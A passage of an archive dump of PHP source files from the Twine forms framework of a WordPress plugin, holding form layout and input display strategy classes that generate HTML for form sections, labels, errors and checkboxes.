}
return $this->displayFormWideErrors()
. $html_generator->openTag(
'details',
$this->form_section->htmlId(),
$this->form_section->htmlClass() . ' twine-details',
$this->form_section->htmlStyle()
) . $html_generator->tag(
'summary',
$summary,
$this->form_section->htmlId() . '-summary',
'twine-summary'
) . $this->inner_layout->layoutFormBegin() . $this->inner_layout->layoutFormLoop();
}
/**
* @return string
*/
public function layoutFormEnd()
{
$html_generator = Html::instance();
return $this->inner_layout->layoutFormEnd() . $html_generator->closeTag('details');
}
/**
* @param FormInputBase $input
* @return string|void
*/
public function layoutInput($input)
{
$this->inner_layout->layoutInput($input);
}
/**
* @param FormSectionBase $subsection
* @return string|void
*/
public function layoutSubsection($subsection)
{
$this->inner_layout->layoutSubsection($subsection);
}
}
Twine/forms/strategies/layout/FormSectionLayoutBase.php 0000644 00000022117 14666776752 0017436 0 ustar 00 <?php
namespace Twine\forms\strategies\layout;
use Twine\forms\base\FormSectionBase;
use Twine\forms\base\FormSection;
use Twine\forms\inputs\FormInputBase;
use Twine\forms\strategies\display\HiddenDisplay;
use Twine\helpers\Html;
/**
* Abstract parent class for all form layouts. Mostly just contains a reference to the form
* we are to lay out.
* Form layouts should add HTML content for each form section (eg a header and footer)
* for the form section, and dictate how to layout all the inputs and proper subsections
* (laying out where to put the input's label, the actual input widget, and its errors; and
* stating where the proper subsections should be placed (but usually leaving them to layout
* their own headers and footers etc).
*/
abstract class FormSectionLayoutBase
{
/**
* Form form section to lay out
*
* @var FormSection
*/
protected $form_section;
/**
* __construct
*/
public function __construct()
{
}
/**
* The form section on which this strategy is to perform
*
* @param FormSection $form
*/
public function constructFinalize(FormSection $form)
{
$this->form_section = $form;
}
/**
* @return FormSection
*/
public function formSection()
{
return $this->form_section;
}
/**
* Also has teh side effect of enqueuing any needed JS and CSS for
* this form.
* Creates all the HTML necessary for displaying this form, its inputs, and
* proper subsections.
* Returns the HTML
*
* @return string HTML for displaying
*/
public function layoutForm()
{
$html = '';
// layout_form_begin
$html .= apply_filters(
'FH_FormSectionLayoutBase__layout_form__start__for_' . $this->form_section->name(),
$this->layoutFormBegin(),
$this->form_section
);
// layout_form_loop
$html .= apply_filters(
'FH_FormSectionLayoutBase__layout_form__loop__for_' . $this->form_section->name(),
$this->layoutFormLoop(),
$this->form_section
);
// layout_form_end
$html .= apply_filters(
'FH_FormSectionLayoutBase__layout_form__end__for_' . $this->form_section->name(),
$this->layoutFormEnd(),
$this->form_section
);
$html = $this->addFormSectionHooksAndFilters($html);
if ($this->formSection()->useNonce()) {
$html .= wp_nonce_field($this->formSection()->name(), $this->formSection()->name() . '_nonce', true, false);
}
return $html;
}
/**
* @return string
*/
public function layoutFormLoop()
{
$html = '';
foreach ($this->form_section->subsections() as $name => $subsection) {
if ($subsection instanceof FormInputBase) {
$html .= apply_filters(
'FH_FormSectionLayoutBase__layout_form__loop_for_input_'
. $name . '__in_' . $this->form_section->name(),
$this->layoutInput($subsection),
$this->form_section,
$subsection
);
} elseif ($subsection instanceof FormSectionBase) {
$html .= apply_filters(
'FH_FormSectionLayoutBase__layout_form__loop_for_non_input_'
. $name . '__in_' . $this->form_section->name(),
$this->layoutSubsection($subsection),
$this->form_section,
$subsection
);
}
}
return $html;
}
/**
* Should be used to start teh form section (Eg a table tag, or a div tag, etc.)
*
* @return string
*/
abstract public function layoutFormBegin();
/**
* Should be used to end the form section (eg a /table tag, or a /div tag, etc)
*
* @return string
*/
abstract public function layoutFormEnd();
/**
* Should be used internally by layout_form() to layout each input (eg, if this layout
* is putting each input in a row of its own, this should probably be called by a
* foreach loop in layout_form() (WITHOUT adding any content directly within layout_form()'s foreach loop.
* Eg, this method should add the tr and td tags). This method is exposed in case you want to completely
* customize the form's layout, but would like to make use of it for laying out
* 'easy-to-layout' inputs
*
* @param FormInputBase $input
*
* @return string html
*/
abstract public function layoutInput($input);
/**
* Similar to layout_input(), should be used internally by layout_form() within a
* loop to layout each proper subsection. Unlike layout_input(), however, it is assumed
* that the proper subsection will layout its container, label, etc on its own.
*
* @param FormSectionBase $subsection
* @return string html
*/
abstract public function layoutSubsection($subsection);
/**
* Gets the HTML for the label tag and its contents for the input
*
* @param FormInputBase $input
*
* @return string
*/
public function displayLabel($input)
{
if ($input->getDisplayStrategy() instanceof HiddenDisplay) {
return '';
}
$class = $input->required()
? 'twine-required-label ' . $input->htmlLabelClass()
: $input->htmlLabelClass();
$label_text = $input->required()
? $input->htmlLabelText() . '<span class="twine-asterisk">*</span>'
: $input->htmlLabelText();
return '<label id="'
. $input->htmlLabelId()
. '" class="'
. $class
. '" style="'
. $input->htmlLabelStyle()
. '" for="' . $input->htmlId()
. '">'
. $label_text
. '</label>';
}
/**
* Gets the HTML for all the form's form-wide errors (ie, errors which
* are not for specific inputs. E.g., if two inputs somehow disagree,
* those errors would probably be on the form section, not one of its inputs)
* @return string
*/
public function displayFormWideErrors()
{
$html = '';
if ($this->form_section->getValidationErrors()) {
$html .= "<div class='twine-form-wide-errors'>";
// get all the errors on THIS form section (errors which aren't
// for specific inputs, but instead for the entire form section)
foreach ($this->form_section->getValidationErrors() as $error) {
$html .= $error->getMessage() . '<br>';
}
$html .= '</div>';
}
return apply_filters(
'FH_FormSectionLayoutBase__display_form_wide_errors',
$html,
$this
);
}
/**
* Returns the HTML for the server-side validation errors for the specified input
* Note that if JS is enabled, it should remove these and instead
* populate the form's errors in the jquery validate fashion
* using the localized data provided to the JS
*
* @param FormInputBase $input
*
* @return string
*/
public function displayErrors($input)
{
if ($input->getValidationErrors()) {
return "<label id='"
. $input->htmlId()
. "-error' class='twine-error' for='{$input->htmlName()}'>"
. $input->getValidationErrorString()
. '</label>';
}
return '';
}
/**
* Displays the help span for the specified input
*
* @param FormInputBase $input
*
* @return string
*/
public function displayHelpText($input)
{
$help_text = $input->htmlHelpText();
if ($help_text !== '' && $help_text !== null) {
$tag = is_admin() ? 'p' : 'span';
return '<'
. $tag
. ' id="'
. $input->htmlId()
. '-help" class="'
. $input->htmlHelpClass()
. '" style="'
. $input->htmlHelpStyle()
. '">'
. $help_text
. '</'
. $tag
. '>';
}
return '';
}
/**
* Does an action and hook onto the end of teh form
*
* @param string $html
* @return string
*/
public function addFormSectionHooksAndFilters($html)
{
$html_generator = Html::instance();
// replace dashes and spaces with underscores
$hook_name = str_replace(array('-', ' '), '_', $this->form_section->htmlId());
do_action('AH_Form_Section_Layout__' . $hook_name, $this->form_section);
$html = (string)apply_filters(
'AF_Form_Section_Layout__' . $hook_name . '__html',
$html,
$this->form_section
);
$html .= $html_generator->nl() . '<!-- AH_Form_Section_Layout__' . $hook_name . '__html -->';
$html .= $html_generator->nl() . '<!-- AF_Form_Section_Layout__' . $hook_name . ' -->';
return $html;
}
}
Twine/forms/strategies/layout/NoLayout.php 0000644 00000007716 14666776752 0014777 0 ustar 00 <?php
namespace Twine\forms\strategies\layout;
use Twine\forms\base\FormSection;
use Twine\forms\inputs\FormInputBase;
use Twine\forms\inputs\FormInputWithOptionsBase;
use Twine\forms\inputs\HiddenInput;
use Twine\forms\inputs\SelectInput;
use Twine\forms\inputs\SubmitInput;
use Twine\helpers\Html;
/**
* Template Layout strategy class for the EE Forms System that applies no layout.
*
* @package Event Espresso
* @subpackage core
* @author Mike Nelson
* @since 4.6.0
*/
class NoLayout extends DivPerSectionLayout
{
/**
* This is a flag indicating whether to use '<br>' tags after each input in the layout
* strategy.
*
* @var bool
*/
protected $use_break_tags = true;
/**
* NoLayout constructor.
*
* @param array $options Currently if this has a 'use_break_tags' key that is used to set the _use_break_tags
* property on the class.
*/
public function __construct($options = array())
{
$this->use_break_tags = is_array($options) && isset($options['use_break_tags'])
? filter_var($options['use_break_tags'], FILTER_VALIDATE_BOOLEAN)
: $this->use_break_tags;
parent::__construct();
}
/**
* Add line break at beginning of form
*
* @return string
*/
public function layoutFormBegin()
{
$html_generator = Html::instance();
return $html_generator->nl(1);
}
/**
* Lays out the row for the input, including label and errors
*
* @param FormInputBase $input
* @return string
* @throws \Error
*/
public function layoutInput($input)
{
$html_generator = Html::instance();
$html = '';
if ($input instanceof HiddenInput) {
$html .= $html_generator->nl() . $input->getHtmlForInput();
} elseif ($input instanceof SubmitInput) {
$html .= $this->br();
$html .= $input->getHtmlForInput();
} elseif ($input instanceof SelectInput) {
$html .= $this->br();
$html .= $html_generator->nl(1) . $input->getHtmlForLabel();
$html .= $html_generator->nl() . $input->getHtmlForErrors();
$html .= $html_generator->nl() . $input->getHtmlForInput();
$html .= $html_generator->nl() . $input->getHtmlForHelp();
$html .= $this->br();
} elseif ($input instanceof FormInputWithOptionsBase) {
$html .= $this->br();
$html .= $html_generator->nl() . $input->getHtmlForErrors();
$html .= $html_generator->nl() . $input->getHtmlForInput();
$html .= $html_generator->nl() . $input->getHtmlForHelp();
} else {
$html .= $this->br();
$html .= $html_generator->nl(1) . $input->getHtmlForLabel();
$html .= $html_generator->nl() . $input->getHtmlForErrors();
$html .= $html_generator->nl() . $input->getHtmlForInput();
$html .= $html_generator->nl() . $input->getHtmlForHelp();
}
$html .= $html_generator->nl(-1);
return $html;
}
/**
* Lays out a row for the subsection
*
* @param FormSection $form_section
* @return string
*/
public function layoutSubsection($form_section)
{
$html_generator = Html::instance();
return $html_generator->nl(1) . $form_section->getHtml() . $html_generator->nl(-1);
}
/**
* Add line break at end of form.
*
* @return string
*/
public function layoutFormEnd()
{
$html_generator = Html::instance();
return $html_generator->nl(-1);
}
/**
* This returns a break tag or an empty string depending on the value of the `_use_break_tags` property.
*
* @return string
*/
protected function br()
{
$html_generator = Html::instance();
return $this->use_break_tags ? $html_generator->br() : '';
}
}
Twine/forms/strategies/layout/DivPerSectionLayout.php 0000644 00000012437 14666776752 0017135 0 ustar 00 <?php
namespace Twine\forms\strategies\layout;
use Exception;
use Twine\forms\base\FormSection;
use Twine\forms\inputs\FormInputBase;
use Twine\forms\inputs\FormInputWithOptionsBase;
use Twine\forms\inputs\HiddenInput;
use Twine\forms\inputs\SelectInput;
use Twine\forms\inputs\SubmitInput;
use Twine\helpers\Html;
/**
* Class DivPerSectionLayout
* Description
*
* @package Event Espresso
* @subpackage core
* @author Mike Nelson
* @since 4.6.0
*/
class DivPerSectionLayout extends FormSectionLayoutBase
{
/**
* Opening div tag for a form
*
* @return string
*/
public function layoutFormBegin()
{
$html_generator = Html::instance();
return $html_generator->div(
'',
$this->form_section->htmlId(),
$this->form_section->htmlClass(),
$this->form_section->htmlStyle()
);
}
/**
* Lays out the row for the input, including label and errors
*
* @param FormInputBase $input
* @return string
* @throws Exception
*/
public function layoutInput($input)
{
$html_generator = Html::instance();
$html = '';
// set something unique for the id
$html_id = (string) $input->htmlId() !== ''
? (string) $input->htmlId()
: spl_object_hash($input);
// and add a generic input type class
$html_class = sanitize_key(str_replace('_', '-', get_class($input))) . '-dv';
if ($input instanceof HiddenInput) {
$html .= $html_generator->nl() . $input->getHtmlForInput();
} elseif ($input instanceof SubmitInput) {
$html .= $html_generator->div(
$input->getHtmlForInput(),
$html_id . '-submit-dv',
"{$input->htmlClass()}-submit-dv {$html_class}"
);
} elseif ($input instanceof SelectInput) {
$html .= $html_generator->div(
$html_generator->nl(1) . $input->getHtmlForLabel() .
$html_generator->nl() . $input->getHtmlForErrors() .
$html_generator->nl() . $input->getHtmlForInput() .
$html_generator->nl() . $input->getHtmlForHelp(),
$html_id . '-input-dv',
"{$input->htmlClass()}-input-dv {$html_class}"
);
} elseif ($input instanceof FormInputWithOptionsBase) {
$html .= $html_generator->div(
$html_generator->nl() . $this->displayLabelForOptionTypeQuestion($input) .
$html_generator->nl() . $input->getHtmlForErrors() .
$html_generator->nl() . $input->getHtmlForInput() .
$html_generator->nl() . $input->getHtmlForHelp(),
$html_id . '-input-dv',
"{$input->htmlClass()}-input-dv {$html_class}"
);
} else {
$html .= $html_generator->div(
$html_generator->nl(1) . $input->getHtmlForLabel() .
$html_generator->nl() . $input->getHtmlForErrors() .
$html_generator->nl() . $input->getHtmlForInput() .
$html_generator->nl() . $input->getHtmlForHelp(),
$html_id . '-input-dv',
"{$input->htmlClass()}-input-dv {$html_class}"
);
}
return $html;
}
/**
*
* _display_label_for_option_type_question
* Gets the HTML for the 'label', which is just text for this (because labels
* should be for each input)
*
* @param FormInputWithOptionsBase $input
* @return string
*/
protected function displayLabelForOptionTypeQuestion(FormInputWithOptionsBase $input)
{
$html_generator = Html::instance();
if ($input->displayHtmlLabelText()) {
$html_label_text = $input->htmlLabelText();
$label_html = $html_generator->div(
$input->required()
? $html_label_text . $html_generator->span('*', '', 'twine-asterisk')
: $html_label_text,
$input->htmlLabelId(),
$input->required()
? 'twine-required-label ' . $input->htmlLabelClass()
: $input->htmlLabelClass(),
$input->htmlLabelStyle(),
$input->otherHtmlAttributesString()
);
// if no content was provided to $html_generator->div() above (ie: an empty label),
// then we need to close the div manually
if (empty($html_label_text)) {
$label_html .= $html_generator->divx($input->htmlLabelId(), $input->htmlLabelClass());
}
return $label_html;
}
return '';
}
/**
* Lays out a row for the subsection
*
* @param FormSection $form_section
* @return string
*/
public function layoutSubsection($form_section)
{
$html_generator = Html::instance();
return $html_generator->nl(1) . $form_section->getHtml() . $html_generator->nl(-1);
}
/**
* Closing div tag for a form
*
* @return string
*/
public function layoutFormEnd()
{
$html_generator = Html::instance();
return $html_generator->divx($this->form_section->htmlId(), $this->form_section->htmlClass());
}
}
Twine/forms/strategies/layout/TwoColumnLayout.php 0000644 00000006337 14666776752 0016350 0 ustar 00 <?php
namespace Twine\forms\strategies\layout;
use Twine\forms\base\FormSectionHtml;
use Twine\forms\base\FormSection;
use Twine\forms\inputs\FormInputBase;
use Twine\forms\inputs\HiddenInput;
use Twine\helpers\Html;
/**
* Class TwoColumnLayout
* @package Twine\forms\strategies\layout
*/
class TwoColumnLayout extends FormSectionLayoutBase
{
/**
* Should be used to start teh form section (Eg a table tag, or a div tag, etc.)
*
* @param array $additional_args
* @return string
*/
public function layoutFormBegin($additional_args = array())
{
$html_generator = Html::instance();
return $this->displayFormWideErrors()
. $html_generator->table(
'',
$this->form_section->htmlId(),
$this->form_section->htmlClass(),
$this->form_section->htmlStyle()
) . $html_generator->tbody();
}
/**
* Should be used to end the form section (eg a /table tag, or a /div tag, etc)
*
* @param array $additional_args
* @return string
*/
public function layoutFormEnd($additional_args = array())
{
$html_generator = Html::instance();
return $html_generator->tbodyx() . $html_generator->tablex($this->form_section->htmlId());
}
/**
* Lays out the row for the input, including label and errors
*
* @param FormInputBase $input
* @return string
*/
public function layoutInput($input)
{
$html = '';
$html_generator = Html::instance();
if ($input instanceof HiddenInput) {
$html .= $input->getHtmlForInput();
} else {
$html_for_input = $input->getHtmlForInput();
// want loose comparison
// phpcs:ignore WordPress.PHP.StrictComparisons.LooseComparison
$html_for_input .= $input->getHtmlForErrors() != ''
? $html_generator->nl() . $input->getHtmlForErrors()
: '';
// want loose comparison
// phpcs:ignore WordPress.PHP.StrictComparisons.LooseComparison
$html_for_input .= $input->getHtmlForHelp() != '' ? $html_generator->nl() . $input->getHtmlForHelp() : '';
$html .= $html_generator->tr(
$html_generator->th($input->getHtmlForLabel()) .
$html_generator->td($html_for_input)
);
}
return $html;
}
/**
* Lays out a row for the subsection. Please note that if you have a subsection which you don't want wrapped in
* a tr and td with a colspan=2, you should use a different layout strategy, like NoLayout, TemplateLayout,
* or DivPerSectionLayout, and create subsections using TwoColumnLayout for everywhere you want the
* two-column layout, and then other sub-sections can be outside the TwoColumnLayout table.
*
* @param FormSection $form_section
*
* @return string
*/
public function layoutSubsection($form_section)
{
if (
$form_section instanceof FormSection
|| $form_section instanceof FormSectionHtml
) {
$html_generator = Html::instance();
return $html_generator->noRow($form_section->getHtml());
}
return '';
}
}
Twine/forms/strategies/layout/TemplateLayout.php 0000644 00000016250 14666776752 0016167 0 ustar 00 <?php
namespace Twine\forms\strategies\layout;
use Twine\forms\base\FormSection;
use Twine\forms\inputs\FormInputBase;
/**
* TemplateLayout
* For very customized layouts, where you provide this class with the location of
* a template file to use for laying out the form section. Inherits from Div_per_Section
* in case you call layout_input() or layout_subsection(), or get_html_for_label(),
* get_html_for_input(), or get_html_for_errors() on one if the form section's inputs.
* When would you want to use this instead of just laying out the form's subsections manually
* in a template file? When you want a very customized layout, but that layout is essential
* to the form; so that if you were to use the same form on two different pages (eg a contact form,
* one on the website's frontend for contacting the site admin, and then again on the backend for
* contacting the plugin's developer), you would still use this exact same template layout strategy.
* (Eg, if you wanted to add a button to that same form for automatically adding "@gmail.com" or "@yahoo.com"
* onto the 'from' input. The input is important to the form section on either page, but isn't an input so it's best
* added as a part of the template layout.)
*
* @package Event Espresso
* @subpackage
* @author Mike Nelson
* ------------------------------------------------------------------------
*/
class TemplateLayout extends DivPerSectionLayout
{
/**
* @var string|null
*/
protected $layout_template_file = null;
/**
* @var string|null
*/
protected $layout_begin_template_file = null;
/**
* @var string|null
*/
protected $input_template_file = null;
/**
* @var string|null
*/
protected $subsection_template_file = null;
/**
* @var string|null
*/
protected $layout_end_template_file = null;
/**
* @var array
*/
protected $template_args = array();
/**
* @param array $template_options {
* @type string $_layout_template_file
* @type string $_begin_template_file
* @type string $_input_template_file
* @type string $_subsection_template_file
* @type string $_end_template_file
* @type array $_template_args
* }
*/
public function __construct($template_options = array())
{
// loop through incoming options
foreach ($template_options as $key => $value) {
// add underscore to $key to match property names
$_key = '_' . $key;
if (property_exists($this, $_key)) {
$this->{$_key} = $value;
}
}
parent::__construct();
}
/**
* Also has the side effect of enqueuing any needed JS and CSS for
* this form.
* Creates all the HTML necessary for displaying this form, its inputs, and
* proper subsections.
* Returns the HTML
*
* @return string
*/
public function layoutForm()
{
if ($this->layout_template_file) {
return $this->renderTemplate($this->layout_template_file);
} else {
return parent::layoutForm();
}
}
/**
* Opening div tag for a form
*
* @return string
*/
public function layoutFormBegin()
{
if ($this->layout_begin_template_file) {
return $this->renderTemplate(
$this->layout_begin_template_file,
$this->templateArgs()
);
} else {
return parent::layoutFormBegin();
}
}
/**
* If an input_template_file was provided upon construction, uses that to layout the input. Otherwise uses parent.
*
* @see DIv_Per_Section_Layout::layout_input() for documentation
* @param FormInputBase $input
* @return string
*/
public function layoutInput($input)
{
if ($this->input_template_file) {
return $this->renderTemplate($this->input_template_file, array('input' => $input));
}
return parent::layoutInput($input);
}
/**
* If a subsection_template_file was provided upon construction, uses that to layout the subsection. Otherwise uses
* parent.
*
* @param FormSection $form_section
* @return string
* @see DivPerSectionLayout::layoutSubsection() for documentation
*/
public function layoutSubsection($form_section)
{
if ($this->subsection_template_file) {
return $this->renderTemplate($this->subsection_template_file);
}
return parent::layoutSubsection($form_section);
}
/**
* Closing div tag for a form
*
* @return string
*/
public function layoutFormEnd()
{
if ($this->layout_end_template_file) {
return $this->renderTemplate($this->layout_end_template_file);
} else {
return parent::layoutFormEnd();
}
}
/**
* @param array $template_args
*/
public function setTemplateArgs($template_args = array())
{
$this->template_args = $template_args;
}
/**
* @param array $template_args
*/
public function addTemplateArgs($template_args = array())
{
$this->template_args = array_merge_recursive($this->template_args, $template_args);
}
/**
* @return array
*/
public function templateArgs()
{
foreach ($this->formSection()->subsections() as $subsection_name => $subsection) {
$subsection_name = self::prepFormSubsectionKeyName($subsection_name);
if (strpos($subsection_name, '[') !== false) {
$sub_name = explode('[', $subsection_name);
$this->template_args[ $sub_name[0] ][ rtrim($sub_name[1], ']') ] = $this->layoutSubsection(
$subsection
);
} else {
$this->template_args[ $subsection_name ] = $this->layoutSubsection($subsection);
}
}
return $this->template_args;
}
/**
* Sanitize input name.
*
* @access public
* @param string $subsection_name
* @return string
*/
public static function prepFormSubsectionKeyName($subsection_name = '')
{
$subsection_name = str_replace(array('-', ' '), array('', '_'), $subsection_name);
return is_numeric(substr($subsection_name, 0, 1)) ? 'form_' . $subsection_name : $subsection_name;
}
/**
* Just a wrapper for the above method
*
* @access public
* @param string $subsection_name
* @return string
*/
public static function getSubformName($subsection_name = '')
{
return self::prepFormSubsectionKeyName($subsection_name);
}
/**
* @param string $filepath
* @param array|null $args
* @return string
*/
protected function renderTemplate($filepath, $args = null)
{
if (! $args) {
$args = $this->templateArgs();
}
// extract args so they're available in the template file.
// phpcs:ignore WordPress.PHP.DontExtract.extract_extract
extract($args);
ob_start();
require $filepath;
return ob_get_clean();
}
}
Twine/forms/strategies/layout/AdminOneColumnLayout.php 0000644 00000006304 14666776752 0017263 0 ustar 00 <?php
namespace Twine\forms\strategies\layout;
use Exception;
use Twine\forms\base\FormSectionHtml;
use Twine\forms\base\FormSection;
use Twine\forms\inputs\FormInputBase;
use Twine\forms\inputs\HiddenInput;
use Twine\forms\strategies\display\AdminFileUploaderDisplay;
use Twine\forms\strategies\display\TextAreaDisplay;
use Twine\forms\strategies\display\TextInputDisplay;
use Twine\helpers\Html;
/**
* Class AdminOneColumnLayout
* @package Twine\forms\strategies\layout
*/
class AdminOneColumnLayout extends FormSectionLayoutBase
{
/**
* Starts the form section
*
* @param array $additional_args
* @return string
*/
public function layoutFormBegin($additional_args = array())
{
$html_generator = Html::instance();
return $html_generator->table(
'',
$this->form_section->htmlId(),
$this->form_section->htmlClass() . ' form-table',
$this->form_section->htmlStyle()
) . $html_generator->tbody();
}
/**
* Ends the form section
*
* @param array $additional_args
* @return string
*/
public function layoutFormEnd($additional_args = array())
{
$html_generator = Html::instance();
return $html_generator->tbodyx() . $html_generator->tablex($this->form_section->htmlId());
}
/**
* Lays out the row for the input, including label and errors
*
* @param FormInputBase $input
* @return string
* @throws Exception
*/
public function layoutInput($input)
{
$html_generator = Html::instance();
if (
$input->getDisplayStrategy() instanceof TextAreaDisplay
|| $input->getDisplayStrategy() instanceof TextInputDisplay
|| $input->getDisplayStrategy() instanceof AdminFileUploaderDisplay
) {
$input->setHtmlClass($input->htmlClass() . ' large-text');
}
$input_html = $input->getHtmlForInput();
// maybe add errors and help text ?
$input_html .= $input->getHtmlForErrors() !== ''
? $html_generator->nl() . $input->getHtmlForErrors()
: '';
$input_html .= $input->getHtmlForHelp() !== ''
? $html_generator->nl() . $input->getHtmlForHelp()
: '';
// overriding parent to add wp admin specific things.
$html = '';
if ($input instanceof HiddenInput) {
$html .= $html_generator->noRow($input->getHtmlForInput());
} else {
$html .= $html_generator->tr(
$html_generator->td(
$input->getHtmlForLabel()
. $html_generator->nl()
. $input_html
)
);
}
return $html;
}
/**
* Lays out a row for the subsection
*
* @param FormSection $form_section
*
* @return string
*/
public function layoutSubsection($form_section)
{
$html_generator = Html::instance();
if (
$form_section instanceof FormSection
|| $form_section instanceof FormSectionHtml
) {
return $html_generator->noRow($form_section->getHtml());
}
return '';
}
}
Twine/forms/strategies/display/CheckboxDisplay.php 0000644 00000006364 14666776752 0016427 0 ustar 00 <?php
namespace Twine\forms\strategies\display;
use Exception;
use Twine\helpers\Html;
/**
* Class CheckboxDisplay
* displays a set of checkbox inputs
*
* @package Event Espresso
* @subpackage core
* @author Mike Nelson
* @since 4.6
*/
class CheckboxDisplay extends CompoundInputDisplay
{
/**
* @throws Exception
* @return string of html to display the field
*/
public function display()
{
$input = $this->getInput();
$html = '';
if (! is_array($input->rawValue()) && $input->rawValue() !== null) {
throw new Exception(
sprintf(
// translators: 1: html ID, 2: value submitted, 3: html input name
esc_html_x(
'Input values for checkboxes should be an array of values, but the value for input "%1$s" is "%2$s". Please verify that the input name is exactly "%3$s"',
'Input values for checkboxes should be an array of values, but the value for input "form-input-id" is "form-input-value". Please verify that the input name is exactly "form_input_name[]"',
'print-my-blog'
),
$input->htmlId(),
// phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_var_export
var_export($input->rawValue(), true),
$input->htmlName() . '[]'
)
);
}
$html_generator = Html::instance();
$input_raw_value = (array) $input->rawValue();
foreach ($input->options() as $value => $option) {
$value = $input->getNormalizationStrategy()->unnormalizeOne($value);
$html_id = $this->getSubInputId($value);
$html .= $html_generator->nl(0, 'checkbox');
$html .= '<label for="'
. $html_id
. '" id="'
. $html_id
. '-lbl" class="twine-checkbox-label-after twine-option'
. ($option->enabled() ? ' twine-option-enabled' : ' twine-option-disabled')
. '">';
$html .= $html_generator->nl(1, 'checkbox');
$html .= '<input type="checkbox"';
$html .= ' name="' . $input->htmlName() . '[]"';
$html .= ' id="' . $html_id . '"';
$html .= ' class="' . $input->htmlClass() . '"';
$html .= ' style="' . $input->htmlStyle() . '"';
$html .= ' value="' . esc_attr($value) . '"';
if (! $option->enabled()) {
$html .= ' disabled=1';
}
$html .= ! empty($input_raw_value) && in_array($value, $input_raw_value, true)
? ' checked="checked"'
: '';
$html .= ' ' . $this->input->otherHtmlAttributesString();
$html .= ' data-question_label="' . $input->htmlLabelId() . '"';
$html .= '> ';
$html .= $option->getDisplayText();
$html .= $html_generator->nl(-1, 'checkbox');
$help_text = $option->getHelpText();
if ($help_text) {
$html .= $html_generator->p($help_text, '', 'description');
}
$html .= '</label>';
}
return $html;
}
}
Twine/forms/strategies/display/CompoundInputDisplay.php 0000644 00000003534 14666776752 0017501 0 ustar 00 <?php
namespace Twine\forms\strategies\display;
use Exception;
use Twine\forms\inputs\FormInputWithOptionsBase;
/**
*
* Class CompoundInputDisplay
*
* For displaying input classes that are actually a many html inputs.
*
*
* @package Event Espresso
* @subpackage
* @author Mike Nelson
* @since 4.9.0
*
*/
abstract class CompoundInputDisplay extends DisplayBase
{
/**
* Gets the html ID for the sub-input for the specified option html value (not display text)
*
* @param string $option_value
* @param bool $add_pound_sign
* @return string
*/
public function getSubInputId($option_value, $add_pound_sign = false)
{
return $this->appendChars($this->input->htmlId($add_pound_sign), '-') . sanitize_key($option_value);
}
/**
* Gets the HTML IDs of all the inputs
*
* @param boolean $add_pound_sign
* @return array
* @throws \Error
*/
public function getHtmlInputIds($add_pound_sign = false)
{
$html_input_ids = array();
foreach ($this->getInput()->options() as $value => $display) {
$html_input_ids[] = $this->getSubInputId($value, $add_pound_sign);
}
return $html_input_ids;
}
/**
* Overrides parent to make sure this display strategy is only used with the
* appropriate input type
*
* @return FormInputWithOptionsBase
* @throws Exception
*/
public function getInput()
{
if (! $this->input instanceof FormInputWithOptionsBase) {
throw new Exception(
__(
'Can not use a Compound Input Display Strategy (eg checkbox or radio) with an input that doesn\'t have options',
'print-my-blog'
)
);
}
return parent::getInput();
}
}
Twine/forms/strategies/display/DisplayBase.php 0000644 00000013675 14666776752 0015556 0 ustar 00 <?php
namespace Twine\forms\strategies\display;
use Twine\forms\strategies\FormInputStrategyBase;
/**
* Class DisplayBase
*
* @package Event Espresso
* @subpackage core
* @author Mike Nelson, Brent Christensen
* @since 4.6
*/
abstract class DisplayBase extends FormInputStrategyBase
{
/**
* @var string $tag
*/
protected $tag = '';
/**
* Returns HTML and javascript related to the displaying of this input
*
* @return string
*/
abstract public function display();
/**
* _remove_chars - takes an incoming string, and removes the string $chars from the end of it, but only if $chars
* is already there
*
* @param string $string - the string being processed
* @param string $chars - exact string of characters to remove
* @return string
*/
protected function removeChars($string = '', $chars = '-')
{
$char_length = strlen($chars) * -1;
// if last three characters of string is " - ", then remove it
return substr($string, $char_length) === $chars ? substr($string, 0, $char_length) : $string;
}
/**
* _append_chars - takes an incoming string, and adds the string $chars to the end of it, but only if $chars is not
* already there
*
* @param string $string - the string being processed
* @param string $chars - exact string of characters to be added to end of string
* @return string
*/
protected function appendChars($string = '', $chars = '-')
{
return $this->removeChars($string, $chars) . $chars;
}
/**
* Gets the HTML IDs of all the inputs
*
* @param bool $add_pound_sign
* @return array
*/
public function getHtmlInputIds($add_pound_sign = false)
{
return array($this->getInput()->htmlId($add_pound_sign));
}
/**
* Adds js variables for localization to the $other_js_data. These should be put
* in each form's "other_data" javascript object.
*
* @param array $other_js_data
* @return array
*/
public function getOtherJsData($other_js_data = array())
{
return $other_js_data;
}
/**
* Opportunity for this display strategy to call wp_enqueue_script and wp_enqueue_style.
* This should be called during wp_enqueue_scripts
*/
public function enqueueJs()
{
}
/**
* Returns string like: '<tag'
*
* @param string $tag
* @return string
*/
protected function openingTag($tag)
{
$this->tag = $tag;
return "<{$this->tag}";
}
/**
* Returns string like: '</tag>
*
* @return string
*/
protected function closingTag()
{
return "</{$this->tag}>";
}
/**
* Returns string like: '/>'
*
* @return string
*/
protected function closeTag()
{
return '/>';
}
/**
* Returns an array of standard HTML attributes that get added to nearly all inputs,
* where string keys represent named attributes like id, class, etc
* and numeric keys represent single attributes like 'required'.
* Note: this does not include "value" because many inputs (like dropdowns, textareas, and checkboxes) don't use
* it.
*
* @return array
*/
protected function standardAttributesArray()
{
return array(
'name' => $this->input->htmlName(),
'id' => $this->input->htmlId(),
'class' => $this->input->htmlClass(true),
0 => array('required', $this->input->required()),
1 => $this->input->otherHtmlAttributesString(),
'style' => $this->input->htmlStyle(),
);
}
/**
* Sets the attributes using the incoming array
* and returns a string of all attributes rendered as valid HTML
*
* @param array $attributes
* @return string
*/
protected function attributesString($attributes = array())
{
$attributes = apply_filters(
'FH_DisplayBase__attributes_string__attributes',
$attributes,
$this,
$this->input
);
$attributes_string = '';
foreach ($attributes as $attribute => $value) {
if (is_numeric($attribute)) {
$add = true;
if (is_array($value)) {
$attribute = isset($value[0]) ? $value[0] : '';
$add = isset($value[1]) ? $value[1] : false;
} else {
$attribute = $value;
}
$attributes_string .= $this->singleAttribute($attribute, $add);
} else {
$attributes_string .= $this->attribute($attribute, $value);
}
}
return $attributes_string;
}
/**
* Returns string like: ' attribute="value"'
* returns an empty string if $value is null
*
* @param string $attribute
* @param string $value
* @return string
*/
protected function attribute($attribute, $value = '')
{
if ($value === null) {
return '';
}
$value = esc_attr($value);
return " {$attribute}=\"{$value}\"";
}
/**
* Returns string like: ' data-attribute="value"'
* returns an empty string if $value is null
*
* @param string $attribute
* @param string $value
* @return string
*/
